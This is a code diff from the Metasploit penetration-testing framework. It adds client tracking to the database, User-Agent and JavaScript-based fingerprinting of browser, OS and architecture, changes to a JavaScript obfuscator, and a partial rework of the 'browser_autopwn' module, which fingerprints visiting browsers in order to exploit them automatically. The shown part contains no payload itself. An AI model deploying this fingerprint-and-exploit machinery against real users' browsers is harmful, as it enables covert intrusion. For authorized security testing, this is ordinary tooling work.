diff --git a/data/sql/mysql.sql b/data/sql/mysql.sql
index f0241fd89a..5eb34c4ea1 100644
--- a/data/sql/mysql.sql
+++ b/data/sql/mysql.sql
@@ -17,6 +17,16 @@ arch VARCHAR(255)
);
+create table clients (
+id INTEGER PRIMARY KEY NOT NULL,
+host_id INTEGER,
+created TIMESTAMP,
+ua_string VARCHAR(1024) NOT NULL,
+ua_name VARCHAR(64),
+ua_ver VARCHAR(32)
+);
+
+
create table services (
id SERIAL PRIMARY KEY,
host_id INTEGER,
diff --git a/data/sql/postgres.sql b/data/sql/postgres.sql
index 453a092c82..aeb2a765b6 100644
--- a/data/sql/postgres.sql
+++ b/data/sql/postgres.sql
@@ -17,6 +17,16 @@ os_lang VARCHAR(255),
arch VARCHAR(255)
);
+drop table clients;
+create table clients (
+id INTEGER PRIMARY KEY NOT NULL,
+host_id INTEGER,
+created TIMESTAMP,
+ua_string VARCHAR(1024) NOT NULL,
+ua_name VARCHAR(64),
+ua_ver VARCHAR(32)
+);
+
drop table services;
create table services (
diff --git a/data/sql/sqlite.sql b/data/sql/sqlite.sql
index 6aa651b541..223d9d4777 100644
--- a/data/sql/sqlite.sql
+++ b/data/sql/sqlite.sql
@@ -16,6 +16,16 @@ create table hosts (
'arch' VARCHAR(255)
);
+drop table clients;
+create table clients (
+'id' INTEGER PRIMARY KEY NOT NULL,
+'host_id' INTEGER,
+'created' TIMESTAMP,
+'ua_string' VARCHAR(1024) NOT NULL,
+'ua_name' VARCHAR(64),
+'ua_ver' VARCHAR(32)
+);
+
drop table services;
create table services (
'id' INTEGER PRIMARY KEY NOT NULL,
diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb
index d3605f1950..a33953f3de 100644
--- a/lib/msf/base/serializer/readable_text.rb
+++ b/lib/msf/base/serializer/readable_text.rb
@@ -86,7 +86,7 @@ class ReadableText
])
mod.actions.each_with_index { |target, idx|
- tbl << [ target.name || 'All' ]
+ tbl << [ target.name || 'All' , target.description || '' ]
}
tbl.to_s + "\n"
diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb
index bf28ef02c9..f55c89857c 100644
--- a/lib/msf/core/auxiliary/report.rb
+++ b/lib/msf/core/auxiliary/report.rb
@@ -14,12 +14,21 @@ module Auxiliary::Report
FF = "Firefox"
SAFARI = "Safari"
OPERA = "Opera"
+
+ UNKNOWN = "Unknown"
end
module OperatingSystems
LINUX = "Linux"
MAC_OSX = "MacOSX"
WINDOWS = "Windows"
+ module WindowsVersions
+ XP = "XP"
+ TWOK = "2000"
+ TWOK3 = "2003"
+ VISTA = "Vista"
+ end
+
UNKNOWN = "Unknown"
end
@@ -48,6 +57,36 @@ module Auxiliary::Report
end
end
+ def get_host(addr)
+ return nil if not db
+ framework.db.get_host(self, addr)
+ end
+
+ #
+ # Report a client connection
+ #
+ # opts must contain
+ # :host the address of the client connecting
+ # :ua_string a string that uniquely identifies this client
+ # opts can contain
+ # :ua_name a brief identifier for the client, e.g. "Firefox"
+ # :ua_ver the version number of the client, e.g. "3.0.11"
+ #
+ def report_client(opts={})
+ return if not db
+ addr = opts.delete(:host) || return
+
+ framework.db.report_host_state(self, addr, Msf::HostState::Alive)
+
+ cli = framework.db.report_client(self, addr, opts)
+ return cli
+ end
+
+ def get_client(addr, ua_string)
+ return nil if not db
+ framework.db.get_client(self, addr, ua_string)
+ end
+
#
# Report detection of a service
#
diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb
index 6ea0f897c1..ff7f373a75 100644
--- a/lib/msf/core/db.rb
+++ b/lib/msf/core/db.rb
@@ -66,6 +66,13 @@ module DatabaseEvent
def on_db_host(context, host)
end
+ #
+ # Called when a new client is added to the database. The client
+ # parameter is of type Client.
+ #
+ def on_db_client(context, client)
+ end
+
#
# Called when a new service is added to the database. The service
# parameter is of type Service.
@@ -142,6 +149,8 @@ class DBManager
opts.each { |k,v|
if (host.attribute_names.include?(k.to_s))
host[k] = v
+ else
+ dlog("Unknown attribute for Host: #{k}")
end
}
@@ -150,6 +159,33 @@ class DBManager
return host
end
+ #
+ # Report a client running on a host.
+ #
+ # opts must contain :ua_string
+ # opts can contain :ua_name and :ua_ver
+ #
+ def report_client(mod, addr, opts = {}, context = nil)
+ if opts[:ua_string].nil?
+ elog("report_client requires a ua_string", 'db', LEV_0, caller)
+ return
+ end
+ # TODO: use the current thread's Comm to find the host
+ comm = ''
+ host = get_host(context, addr, comm)
+ cli = get_client(context, host, opts[:ua_string])
+
+ opts.each { |k,v|
+ if (cli.attribute_names.include?(k.to_s))
+ cli[k] = v
+ else
+ dlog("Unknown attribute for Client: #{k}")
+ end
+ }
+ cli.save
+ return cli
+ end
+
#
# This method reports a host's service state.
#
@@ -255,7 +291,11 @@ class DBManager
# Find or create a host matching this address/comm
#
def get_host(context, address, comm='')
- host = Host.find(:first, :conditions => [ "address = ? and comm = ?", address, comm])
+ if comm.length > 0
+ host = Host.find(:first, :conditions => [ "address = ? and comm = ?", address, comm])
+ else
+ host = Host.find(:first, :conditions => [ "address = ? ", address ])
+ end
if (not host)
host = Host.create(:address => address, :comm => comm, :state => HostState::Unknown, :created => Time.now)
host.save
@@ -265,14 +305,35 @@ class DBManager
return host
end
+ #
+ # Find or create a client matching ua_string
+ #
+ def get_client(context, host, ua_string, comm='')
+ # Allow host to be an address to look up
+ if !host.kind_of? Host
+ host = get_host(context, host, comm)
+ end
+ rec = Client.find(:first, :conditions => [ "host_id = ? and ua_string = ?", host[:id], ua_string])
+ if (not rec)
+ rec = Client.create(
+ :host_id => host[:id],
+ :ua_string => ua_string,
+ :created => Time.now
+ )
+ rec.save
+ framework.events.on_db_client(context, rec)
+ end
+ return rec
+ end
+
#
# Find or create a service matching this host/proto/port/state
#
def get_service(context, host, proto, port, state=ServiceState::Up)
- rec = Service.find(:first, :conditions => [ "host_id = ? and proto = ? and port = ?", host.id, proto, port])
+ rec = Service.find(:first, :conditions => [ "host_id = ? and proto = ? and port = ?", host[:id], proto, port])
if (not rec)
rec = Service.create(
- :host_id => host.id,
+ :host_id => host[:id],
:proto => proto,
:port => port,
:state => state,
@@ -332,10 +393,10 @@ class DBManager
# Find or create a note matching this type/data
#
def get_note(context, host, ntype, data)
- rec = Note.find(:first, :conditions => [ "host_id = ? and ntype = ? and data = ?", host.id, ntype, data])
+ rec = Note.find(:first, :conditions => [ "host_id = ? and ntype = ? and data = ?", host[:id], ntype, data])
if (not rec)
rec = Note.create(
- :host_id => host.id,
+ :host_id => host[:id],
:ntype => ntype,
:data => data,
:created => Time.now
@@ -354,15 +415,15 @@ class DBManager
return unless host
- services = Service.find(:all, :conditions => ["host_id = ?", host.id]).map { |s| s.id }
+ services = Service.find(:all, :conditions => ["host_id = ?", host[:id]]).map { |s| s[:id] }
services.each do |sid|
Vuln.delete_all(["service_id = ?", sid])
Service.delete(sid)
end
- Note.delete_all(["host_id = ?", host.id])
- Host.delete(host.id)
+ Note.delete_all(["host_id = ?", host[:id]])
+ Host.delete(host[:id])
end
#
@@ -373,7 +434,7 @@ class DBManager
return unless host
- services = Service.find(:all, :conditions => ["host_id = ? and proto = ? and port = ?", host.id, proto, port]).map { |s| s.id }
+ services = Service.find(:all, :conditions => ["host_id = ? and proto = ? and port = ?", host[:id], proto, port]).map { |s| s[:id] }
services.each do |sid|
Vuln.delete_all(["service_id = ?", sid])
@@ -408,7 +469,7 @@ class DBManager
def refs_by_vuln(vuln)
Ref.find_by_sql(
"SELECT refs.* FROM refs, vulns_refs WHERE " +
- "vulns_refs.vuln_id = #{vuln.id} AND " +
+ "vulns_refs.vuln_id = #{vuln[:id]} AND " +
"vulns_refs.ref_id = refs.id"
)
end
@@ -419,7 +480,7 @@ class DBManager
def vulns_by_ref(ref)
Vuln.find_by_sql(
"SELECT vulns.* FROM vulns, vulns_refs WHERE " +
- "vulns_refs.ref_id = #{ref.id} AND " +
+ "vulns_refs.ref_id = #{ref[:id]} AND " +
"vulns_refs.vuln_id = vulns.id"
)
end
@@ -642,7 +703,7 @@ class DBManager
)
rep.save
- return rep.id
+ return rep[:id]
#framework.events.on_db_target(context, rec)
end
@@ -656,7 +717,7 @@ class DBManager
if (not rep)
rep_id = framework.db.create_report(0,'WMAP','REPORT',"#{host},#{port},#{ssl}","Metasploit WMAP Report",'WMAP Scanner')
else
- rep_id = rep.id
+ rep_id = rep[:id]
end
return rep_id
diff --git a/lib/msf/core/db_objects.rb b/lib/msf/core/db_objects.rb
index af69718d31..ce03f37a94 100644
--- a/lib/msf/core/db_objects.rb
+++ b/lib/msf/core/db_objects.rb
@@ -46,9 +46,19 @@ end
class Host < ActiveRecord::Base
include DBSave
has_many :services
+ has_many :clients
has_many :vulns
end
+class Client < ActiveRecord::Base
+ include DBSave
+ belongs_to :host
+
+ def host
+ Host.find(:first, :conditions => [ "id = ?", host_id ])
+ end
+end
+
# Service object definition
class Service < ActiveRecord::Base
include DBSave
diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb
index 8e457cd80e..0ebe69486d 100644
--- a/lib/msf/core/exploit.rb
+++ b/lib/msf/core/exploit.rb
@@ -216,6 +216,7 @@ class Exploit < Msf::Module
# Behavior
require 'msf/core/exploit/brute'
require 'msf/core/exploit/brutetargets'
+ require 'msf/core/exploit/browser_autopwn'
# Payload
require 'msf/core/exploit/egghunter'
diff --git a/lib/msf/core/exploit/http.rb b/lib/msf/core/exploit/http.rb
index b67c689311..66bcca5c58 100644
--- a/lib/msf/core/exploit/http.rb
+++ b/lib/msf/core/exploit/http.rb
@@ -257,6 +257,7 @@ end
module Exploit::Remote::HttpServer
include Msf::Exploit::Remote::TcpServer
+ include Msf::Auxiliary::Report
def initialize(info = {})
super
@@ -354,6 +355,100 @@ module Exploit::Remote::HttpServer
add_resource(uopts)
end
+ def report_user_agent(host, request)
+ ua = request['User-Agent'].downcase
+ # always check for IE last because everybody tries to
+ # look like IE
+ case (ua)
+ when /version\/(\d+\.\d+\.\d+).*safari/
+ ua_name = HttpClients::SAFARI
+ ua_vers = $1
+ when /firefox\/((:?[0-9]+\.)+[0-9]+)/
+ ua_name = HttpClients::FF
+ ua_vers = $1
+ when /mozilla\/[0-9]\.[0-9] \(compatible; msie ([0-9]\.[0-9]+)/
+ ua_name = HttpClients::IE
+ ua_vers = $1
+ else
+ ua_name = HttpClients::UNKNOWN
+ end
+ case (ua)
+ when /(en-us|en-gb)/
+ os_lang = $1
+ end
+ case (ua)
+ when /windows/
+ os_name = OperatingSystems::WINDOWS
+ arch = ARCH_X86
+ when /linux/
+ os_name = OperatingSystems::LINUX
+ when /iphone/
+ os_name = OperatingSystems::MAC_OSX
+ arch = 'armle'
+ when /mac os x/
+ os_name = OperatingSystems::MAC_OSX
+ else
+ os_name = OperatingSystems::UNKNOWN
+ end
+ case (ua)
+ when /windows 95/
+ os_flavor = '95'
+ when /windows 98/
+ os_flavor = '98'
+ when /windows nt 4/
+ os_flavor = 'NT'
+ when /windows nt 5.0/
+ os_flavor = '2000'
+ when /windows nt 5.1/
+ os_flavor = 'XP'
+ when /windows nt 5.2/
+ os_flavor = '2003'
+ when /windows nt 6.0/
+ os_flavor = 'Vista'
+ when /windows nt 6.1/
+ os_flavor = '7'
+ when /gentoo/
+ os_flavor = 'Gentoo'
+ when /debian/
+ os_flavor = 'Debian'
+ when /ubuntu/
+ os_flavor = 'Ubuntu'
+ else
+ os_flavor = ''
+ end
+ case (ua)
+ when /ppc/
+ arch = ARCH_PPC
+ when /x64|x86_64/
+ arch = ARCH_X86_64
+ when /i.86|wow64/
+ # WOW64 means "Windows on Windows64" and is present
+ # in the useragent of 32-bit IE running on 64-bit
+ # Windows
+ arch = ARCH_X86
+ else
+ arch = ARCH_X86
+ end
+ report_host(
+ :host => host,
+ :os_name => os_name,
+ :os_flavor => os_flavor,
+ :os_lang => os_lang || 'en',
+ :arch => arch
+ )
+ report_client(
+ :host => host,
+ :ua_string => request['User-Agent'],
+ :ua_name => ua_name,
+ :ua_vers => ua_vers
+ )
+ report_note(
+ :host => host,
+ :type => 'http_request',
+ :data => "#{@myhost}:#{@myport} #{request.method} #{request.resource} #{os_name} #{ua_name} #{ua_vers}"
+ )
+ end
+
#
# Adds a URI resource using the supplied hash parameters.
#
diff --git a/lib/msf/core/module/auxiliary_action.rb b/lib/msf/core/module/auxiliary_action.rb
index 857c3c23b9..34302be79d 100644
--- a/lib/msf/core/module/auxiliary_action.rb
+++ b/lib/msf/core/module/auxiliary_action.rb
@@ -27,8 +27,9 @@ class Msf::Module::AuxiliaryAction
# Creates a new action definition
#
def initialize(name, opts={})
- self.name = name
- self.opts = opts
+ self.name = name
+ self.opts = opts
+ self.description = opts['Description'] || ''
end
#
@@ -43,12 +44,16 @@ class Msf::Module::AuxiliaryAction
#
attr_reader :name
#
+ # The action's description
+ #
+ attr_reader :description
+ #
# Action specific parameters
#
attr_reader :opts
protected
- attr_writer :name, :opts # :nodoc:
+ attr_writer :name, :opts, :description # :nodoc:
-end
\ No newline at end of file
+end
diff --git a/lib/rex/constants.rb b/lib/rex/constants.rb
index aa36caf526..4bb7badb8b 100644
--- a/lib/rex/constants.rb
+++ b/lib/rex/constants.rb
@@ -65,6 +65,7 @@ LEV_3 = 3
#
ARCH_ANY = '_any_'
ARCH_X86 = 'x86'
+ARCH_X86_64 = 'x86_64'
ARCH_MIPS = 'mips'
ARCH_MIPSLE = 'mipsle'
ARCH_MIPSBE = 'mipsbe'
@@ -81,6 +82,7 @@ ARCH_ARMBE = 'armbe'
ARCH_TYPES =
[
ARCH_X86,
+ ARCH_X86_64,
ARCH_MIPS,
ARCH_MIPSLE,
ARCH_MIPSBE,
diff --git a/lib/rex/exploitation/javascriptosdetect.rb b/lib/rex/exploitation/javascriptosdetect.rb
index ded359ba45..c29eea199d 100644
--- a/lib/rex/exploitation/javascriptosdetect.rb
+++ b/lib/rex/exploitation/javascriptosdetect.rb
@@ -25,66 +25,119 @@ function getVersion(){
var os_flavor;
var os_sp;
var os_lang;
- var browser_name;
- var browser_version;
+ var ua_name;
+ var ua_version;
var useragent = navigator.userAgent;
var version = "";
- version = useragent;
-
- //document.write("navigator.userAgent = '"+navigator.userAgent+"' ");
- //document.write("navigator.appVersion = '"+navigator.appVersion+"' ");
-
- // Firefox's appVersion on windows doesn't tell us the flavor, so use
- // userAgent all the time. If userAgent is spoofed, appVersion will lie
- // also, so we don't lose anything by doing it this way.
-
- if (version.indexOf("Windows 95") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "95"; }
- else if (version.indexOf("Windows NT 4") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "NT"; }
- else if (version.indexOf("Win 9x 4.9") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "ME"; }
- else if (version.indexOf("Windows 98") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "98"; }
- else if (version.indexOf("Windows NT 5.0") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "2000"; }
- else if (version.indexOf("Windows NT 5.1") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "XP"; }
- else if (version.indexOf("Windows NT 5.2") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "2003"; }
- else if (version.indexOf("Windows NT 6.0") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "Vista"; }
- else if (version.indexOf("Windows") != -1) { os_name = "#{oses::WINDOWS}"; }
- else if (version.indexOf("Mac") != -1) { os_name = "#{oses::MAC_OSX}"; }
- else if (version.indexOf("Linux") != -1) { os_name = "#{oses::LINUX}"; }
-
- if (os_name == "#{oses::LINUX}") {
- if (useragent.indexOf("Gentoo") != -1) { os_flavor = "Gentoo"; }
- else if (useragent.indexOf("Ubuntu") != -1) { os_flavor = "Ubuntu"; }
- else if (useragent.indexOf("Debian") != -1) { os_flavor = "Debian"; }
- else if (useragent.indexOf("RHEL") != -1) { os_flavor = "RHEL"; }
- else if (useragent.indexOf("CentOS") != -1) { os_flavor = "CentOS"; }
- }
+ //--
+ // Client
+ //--
if (window.getComputedStyle) {
// Then this is a gecko derivative, assume firefox since that's the
// only one we have sploits for. We may need to revisit this in the
- // future.
- browser_name = "#{clients::FF}";
+ // future. This works for multi/browser/mozilla_compareto against
+ // Firefox and Mozilla, so it's probably good enough for now.
+ ua_name = "#{clients::FF}";
if (document.getElementsByClassName) {
- browser_version = "3.0";
+ ua_version = "3.0";
} else if (window.Iterator) {
- browser_version = "2.0";
+ ua_version = "2.0";
} else if (Array.every) {
- browser_version = "1.5";
+ ua_version = "1.5";
} else {
- browser_version = "1.0";
+ ua_version = "1.0";
}
}
if (window.opera) {
- browser_name = "#{clients::OPERA}";
- }
-
- if (typeof ScriptEngineMajorVersion == "function") {
- // then this is IE and we can detect the OS
- // TODO: add detection for IE on Mac. low priority, since we don't have
- // any sploits for it yet and it's a very low market share
+ ua_name = "#{clients::OPERA}";
+ // This seems to be completely accurate, e.g. "9.21" is the return
+ // value of opera.version() when run on Opera 9.21
+ ua_version = opera.version();
+ if (!os_name) {
+ // The 'inconspicuous' argument is there to give us a real value on
+ // Opera 6 where, without it, the return value is supposedly
+ // "Hm, were you only as smart as Bjørn Vermo..."
+ // though I have not verfied this claim.
+ switch (opera.buildNumber('inconspicuous')) {
+ case "344":
+ // opera-9.0-20060616.1-static-qt.i386-en-344
+ os_name = "#{oses::LINUX}";
+ break;
+ case "2091":
+ // opera-9.52-2091.gcc3-shared-qt3.i386.rpm
+ os_name = "#{oses::LINUX}";
+ break;
+ case "8501":
+ // "Opera 9 Eng Setup.exe"
+ os_name = "#{oses::WINDOWS}";
+ break;
+ case "8679":
+ // "Opera_9.10_Eng_Setup.exe"
+ os_name = "#{oses::WINDOWS}";
+ break;
+ case "8771":
+ // "Opera_9.20_Eng_Setup.exe"
+ os_name = "#{oses::WINDOWS}";
+ break;
+ case "8776":
+ // "Opera_9.21_Eng_Setup.exe"
+ os_name = "#{oses::WINDOWS}";
+ break;
+ case "8801":
+ // "Opera_9.22_Eng_Setup.exe"
+ os_name = "#{oses::WINDOWS}";
+ break;
+ case "10108":
+ // "Opera_952_10108_en.exe"
+ os_name = "#{oses::WINDOWS}";
+ break;
+ case "10467":
+ // "Opera_962_en_Setup.exe"
+ os_name = "#{oses::WINDOWS}";
+ break;
+ }
+ }
+ } else if (window.getComputedStyle) {
+ // Then this is a gecko derivative, assume firefox since that's the
+ // only one we have sploits for. We may need to revisit this in the
+ // future. This works for multi/browser/mozilla_compareto against
+ // Firefox and Mozilla, so it's probably good enough for now.
+ ua_name = "#{clients::FF}";
+ if (String.trimRight) {
+ // XXX: untested
+ ua_version = "3.5";
+ } else if (document.getElementsByClassName) {
+ ua_version = "3";
+ } else if (window.Iterator) {
+ ua_version = "2";
+ } else if (Array.every) {
+ ua_version = "1.5";
+ } else {
+ ua_version = "1";
+ }
+ // Verify whether the ua string is lying by checking the major version
+ // number against what we detected using known objects above. If it
+ // appears to be truthful, then use its more precise version number.
+ version = searchVersion("Firefox", navigator.userAgent);
+ if (version.substr(0,1) == ua_version.substr(0,1)) {
+ // The version number will end with a space or end of line, so strip
+ // off anything after a space if one exists
+ if (-1 != version.indexOf(" ")) {
+ version = version.substr(0,version.indexOf(" "));
+ }
+ ua_version = version;
+ }
+
+ } else if (typeof ScriptEngineMajorVersion == "function") {
+ // Then this is IE and we can very reliably detect the OS.
+ // Need to add detection for IE on Mac. Low priority, since we
+ // don't have any sploits for it yet and it's a very low market
+ // share.
os_name = "#{oses::WINDOWS}";
- browser_name = "#{clients::IE}";
+ ua_name = "#{clients::IE}";
version = ScriptEngineMajorVersion().toString();
version += ScriptEngineMinorVersion().toString();
version += ScriptEngineBuildVersion().toString();
@@ -104,11 +157,13 @@ function getVersion(){
break;
case "566626":
// IE 6.0.2600.0000, XP SP0 English
+ ua_version = "6.0";
os_flavor = "XP";
os_sp = "SP0";
break;
case "568515":
// IE 6.0.3790.0, 2003 Standard SP0 English
+ ua_version = "6.0";
os_flavor = "2003";
os_sp = "SP0";
break;
@@ -131,32 +186,94 @@ function getVersion(){
break;
case "575730":
// IE 7.0.5730.13, Server 2003 Standard SP2 English
+ // IE 7.0.5730.13, Server 2003 Standard SP1 English
// IE 7.0.5730.13, XP Professional SP2 English
- // rely on the user agent matching above to determine the OS,
- // but we know it's SP2 either way
+ // Rely on the user agent matching above to determine the OS.
+ // This will incorrectly identify 2k3 SP1 as SP2
+ ua_version = "7.0";
os_sp = "SP2";
break;
+ case "5718066":
+ // IE 7.0.5730.13, XP Professional SP3 English
+ ua_version = "7.0";
+ os_flavor = "XP";
+ os_sp = "SP3";
+ break;
+ case "5818702":
+ // IE 8.0.6001.18702, XP Professional SP3 English
+ ua_version = "8.0";
+ os_flavor = "XP";
+ os_sp = "SP3";
+ break;
+ case "580":
+ // IE 8.0.7100.0, Windows 7 English
+ // IE 8.0.7100.0, Windows 7 64-bit English
+ ua_version = "8.0";
+ os_flavor = "7";
+ os_sp = "SP0";
+ break;
}
- if (!browser_version) {
- if (document.documentElement && typeof document.documentElement.style.maxHeight!="undefined") {
- browser_version = "7.0";
+ if (!ua_version) {
+ if (document.documentElement && (typeof document.documentElement.style.maxHeight)!="undefined") {
+ // IE8 detection straight from IEBlog. Thank you Microsoft.
+ try {
+ ua_version = "8.0";
+ document.documentElement.style.display = "table-cell";
+ } catch(e) {
+ // This executes in IE7,
+ // but not IE8, regardless of mode
+ ua_version = "7.0";
+ }
} else if (document.compatMode) {
- browser_version = "6.0";
+ ua_version = "6.0";
} else if (window.createPopup) {
- browser_version = "5.5";
+ ua_version = "5.5";
} else if (window.attachEvent) {
- browser_version = "5.0";
+ ua_version = "5.0";
} else {
- browser_version = "4.0";
+ ua_version = "4.0";
}
switch (navigator.appMinorVersion){
case ";SP2;":
- browser_version += ";SP2";
+ ua_version += ";SP2";
break;
}
}
}
+ //--
+ // Flavor
+ //--
+ version = useragent.toLowerCase();
+ if (!os_name || 0 == os_name.length || !os_flavor || 0 == os_flavor.length) {
+ // Firefox's appVersion on windows doesn't tell us the flavor, so use
+ // userAgent all the time. If userAgent is spoofed, appVersion will lie
+ // also, so we don't lose anything by doing it this way.
+ if (version.indexOf("windows 95") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "95"; }
+ else if (version.indexOf("windows nt 4") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "NT"; }
+ else if (version.indexOf("win 9x 4.9") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "ME"; }
+ else if (version.indexOf("windows 98") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "98"; }
+ else if (version.indexOf("windows nt 5.0") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "2000"; }
+ else if (version.indexOf("windows nt 5.1") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "XP"; }
+ else if (version.indexOf("windows nt 5.2") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "2003"; }
+ else if (version.indexOf("windows nt 6.0") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "Vista"; }
+ else if (version.indexOf("windows") != -1) { os_name = "#{oses::WINDOWS}"; }
+ else if (version.indexOf("mac") != -1) { os_name = "#{oses::MAC_OSX}"; }
+ else if (version.indexOf("linux") != -1) { os_name = "#{oses::LINUX}"; }
+ }
+
+ if (os_name == "#{oses::LINUX}" && (!os_flavor || 0 == os_flavor.length)) {
+ if (version.indexOf("gentoo") != -1) { os_flavor = "Gentoo"; }
+ else if (version.indexOf("ubuntu") != -1) { os_flavor = "Ubuntu"; }
+ else if (version.indexOf("debian") != -1) { os_flavor = "Debian"; }
+ else if (version.indexOf("rhel") != -1) { os_flavor = "RHEL"; }
+ else if (version.indexOf("red hat") != -1){ os_flavor = "RHEL"; }
+ else if (version.indexOf("centos") != -1) { os_flavor = "CentOS"; }
+ }
+
+ //--
+ // Language
+ //--
if (navigator.systemLanguage) {
// ie
os_lang = navigator.systemLanguage;
@@ -169,17 +286,40 @@ function getVersion(){
os_lang = "en";
}
+ //--
+ // Architecture
+ //--
version = navigator.platform;
+ //document.write(version + "\\n");
+ var arch = "";
+ // IE 8 does a bit of wacky user-agent switching for "Compatibility View";
+ // 64-bit client on Windows 7, 64-bit:
+ // Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)
+ // 32-bit client on Windows 7, 64-bit:
+ // Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)
+ // 32-bit client on Vista, 32-bit, "Compatibility View":
+ // Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0)
+ //
+ // Report 32-bit client on 64-bit OS as being 32 because exploits will
+ // need to know the bittedness of the process, not the OS.
if ( ("Win32" == version) || (version.match(/i.86/)) ) {
arch = "#{ARCH_X86}";
+ } else if (-1 != version.indexOf('x64') || (-1 != version.indexOf('x86_64'))) {
+ arch = "#{ARCH_X86_64}";
} else if (-1 != version.indexOf('PPC')) {
arch = "#{ARCH_PPC}";
}
- //document.write("Target is: "+os_name+" "+os_flavor+" "+os_sp+" "+os_lang+" / "+browser_name+" "+browser_version +" ");
-
- return { os_name:os_name, os_flavor:os_flavor, os_sp:os_sp, os_lang:os_lang, arch:arch, browser_name:browser_name, browser_version:browser_version };
+ return { os_name:os_name, os_flavor:os_flavor, os_sp:os_sp, os_lang:os_lang, arch:arch, ua_name:ua_name, ua_version:ua_version };
} // function getVersion
+function searchVersion(needle, haystack) {
+ var index = haystack.indexOf(needle);
+ if (index == -1) return;
+ found_version = haystack.substring(index+needle.length+1);
+ // Strip off any junk at the end such as a CLR declaration
+ found_version.replace(/\s.*/, '');
+ return found_version;
+}
ENDJS
super @js
update_opts(opts) if (opts)
@@ -188,11 +328,13 @@ ENDJS
'os_name', 'os_flavor',
'os_sp', 'os_lang',
'arch',
- 'browser_name',
- 'browser_version',
- 'useragent', 'version'
+ 'ua_name',
+ 'ua_version',
+ 'found_version',
+ 'needle',
+ 'haystack',
],
- 'Methods' => [ 'getVersion' ]
+ 'Methods' => [ 'getVersion', 'searchVersion' ]
}
})
diff --git a/lib/rex/exploitation/obfuscatejs.rb b/lib/rex/exploitation/obfuscatejs.rb
index 355b6c0188..760499f462 100644
--- a/lib/rex/exploitation/obfuscatejs.rb
+++ b/lib/rex/exploitation/obfuscatejs.rb
@@ -65,7 +65,7 @@ class ObfuscateJS
#
# Initialize an instance of the obfuscator
#
- def initialize(js, opts = {})
+ def initialize(js = "", opts = {})
@js = js
@dynsym = {}
@opts = {
@@ -133,8 +133,7 @@ class ObfuscateJS
# claims that space is irrelavent, newlines break things. Instead,
# use only space (0x20) and tab (0x09).
- @js = Rex::Text.compress(@js)
- @js.gsub!(/\s+/) { |s|
+ @js.gsub!(/[\x09\x20]+/) { |s|
len = rand(50)+2
set = "\x09\x20"
buf = ''
@@ -159,6 +158,13 @@ class ObfuscateJS
end
alias :to_str :to_s
+ def <<(str)
+ @js << str
+ end
+ def +(str)
+ @js + str
+ end
+
protected
attr_accessor :done
@@ -239,4 +245,4 @@ protected
end
end
-end
\ No newline at end of file
+end
diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb
index ea1e3856c8..c935a80ac4 100644
--- a/modules/auxiliary/server/browser_autopwn.rb
+++ b/modules/auxiliary/server/browser_autopwn.rb
@@ -9,33 +9,48 @@
# http://metasploit.com/framework/
##
+# ideas:
+# - add a loading page option so the user can specify arbitrary html to
+# insert all of the evil js and iframes into
+# - caching is busted when different browsers come from the same IP
+# - opera historysearch won't work in an iframe
+# - some kind of version comparison for each browser
+# - is a generic comparison possible?
+# 9.1 < 9.10 < 9.20b < 9.20
+# 3.5-pre < 3.5 < 3.5.1
require 'msf/core'
-require 'rex/exploitation/javascriptosdetect.rb'
+require 'rex/exploitation/javascriptosdetect'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
- include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'HTTP Client Automatic Exploiter',
'Version' => '$Revision$',
'Description' => %q{
- This module uses a combination of client-side and server-side techniques to
- fingerprint HTTP clients and then automatically exploit them.
+ This module uses a combination of client-side and server-side
+ techniques to fingerprint HTTP clients and then automatically
+ exploit them.
},
'Author' =>
[
- 'egypt ', # initial concept, integration and extension of Jerome's os_detect.js
- 'Jerome Athias' # advanced Windows OS detection in javascript
+ # initial concept, integration and extension of Jerome
+ # Athias' os_detect.js
+ 'egypt',
],
'License' => BSD_LICENSE,
'Actions' =>
[
- [ 'WebServer' ]
+ [ 'WebServer', {
+ 'Description' => 'Start a bunch of modules and direct clients to appropriate exploits'
+ } ],
+ [ 'list', {
+ 'Description' => 'List the exploit modules that would be started'
+ } ]
],
'PassiveActions' =>
[
@@ -44,31 +59,75 @@ class Metasploit3 < Msf::Auxiliary
'DefaultAction' => 'WebServer'))
register_options([
- OptAddress.new('LHOST', [true, 'The IP address to use for reverse-connect payloads']),
- OptPort.new('LPORT', [false, 'The starting TCP port number for reverse-connect payloads', 4444])
+ OptAddress.new('LHOST', [true,
+ 'The IP address to use for reverse-connect payloads'
+ ]),
+ ], self.class)
+
+ register_advanced_options([
+ OptString.new('MATCH', [false,
+ 'Only attempt to use exploits whose name matches this regex'
+ ]),
+ OptString.new('EXCLUDE', [false,
+ 'Only attempt to use exploits whose name DOES NOT match this regex'
+ ]),
+ OptBool.new('DEBUG', [false,
+ 'Do not obfuscate the javascript and print various bits of useful info to the browser',
+ false
+ ]),
], self.class)
@exploits = Hash.new
+ @targetcache = Hash.new
end
-
- def init_exploit(name, targ = 0)
- targ ||= 0
+
+
+ def run
+ if (action.name == 'list')
